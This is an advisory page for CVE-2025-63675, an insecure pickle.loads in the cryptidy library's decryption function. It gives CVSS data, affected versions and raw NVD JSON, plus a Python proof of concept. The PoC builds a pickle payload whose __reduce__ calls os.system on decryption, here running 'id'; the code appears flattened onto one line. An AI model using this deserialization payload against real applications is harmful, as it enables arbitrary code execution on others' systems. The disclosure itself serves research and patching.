Security Vulnerability Report
中文
CVE-2025-63675 CVSS 6.9 MEDIUM

CVE-2025-63675

Published: 2025-10-31 07:15:38
Last Modified: 2025-12-08 13:24:54

Description

cryptidy through 1.2.4 allows code execution via untrusted data because pickle.loads is used. This occurs in aes_decrypt_message in symmetric_encryption.py.

CVSS Details

CVSS Score
6.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:netinvent:cryptidy:*:*:*:*:*:python:*:* - VULNERABLE
cryptidy < 1.2.4
cryptidy 1.2.4 (affected)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-63675 PoC - cryptidy pickle deserialization RCE This PoC demonstrates the insecure use of pickle.loads in cryptidy library. Note: This is for educational and security research purposes only. """ import pickle import base64 import os # Malicious payload - executes arbitrary command class MaliciousPayload: def __reduce__(self): # This will execute 'id' command when unpickled cmd = "id" return (os.system, (cmd,)) def create_malicious_encrypted_data(password: str) -> str: """ Create malicious encrypted data using cryptidy library """ try: import cryptidy # Serialize malicious payload malicious_data = pickle.dumps(MaliciousPayload()) # Encrypt using cryptidy's symmetric encryption encrypted = cryptidy.symmetric_encryption.encrypt_message( malicious_data, password ) return encrypted except ImportError: print("[-] cryptidy library not installed") return None def trigger_vulnerability(encrypted_data: str, password: str): """ Trigger the vulnerability by decrypting malicious data This simulates what happens in aes_decrypt_message function """ try: import cryptidy # Decrypt the malicious data - this triggers pickle.loads decrypted = cryptidy.symmetric_encryption.decrypt_message( encrypted_data, password ) print("[-] Vulnerability triggered - code execution occurred") return True except Exception as e: print(f"[+] Error (likely code executed): {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-63675 PoC - cryptidy RCE via pickle.loads") print("=" * 60) password = "secret_key_123" print("\n[+] Step 1: Creating malicious encrypted payload...") malicious_data = create_malicious_encrypted_data(password) if malicious_data: print(f"[+] Malicious payload created: {malicious_data[:50]}...") print("\n[+] Step 2: Triggering vulnerability...") trigger_vulnerability(malicious_data, password) print("\n[*] Note: The 'id' command was executed during decryption") print("=" * 60)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63675", "sourceIdentifier": "[email protected]", "published": "2025-10-31T07:15:38.283", "lastModified": "2025-12-08T13:24:53.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "cryptidy through 1.2.4 allows code execution via untrusted data because pickle.loads is used. This occurs in aes_decrypt_message in symmetric_encryption.py."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.4, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:netinvent:cryptidy:*:*:*:*:*:python:*:*", "versionEndIncluding": "1.2.4", "matchCriteriaId": "8EDB7610-E278-4DC6-A3E8-425B6B4AA34F"}]}]}], "references": [{"url": "https://github.com/javiermorales36/cryptidy-analysis", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/netinvent/cryptidy/blob/cebc9ffd54cc20679d15a1a43ca9a5da645b0c58/cryptidy/symmetric_encryption.py#L220-L238", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/javiermorales36/cryptidy-analysis", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}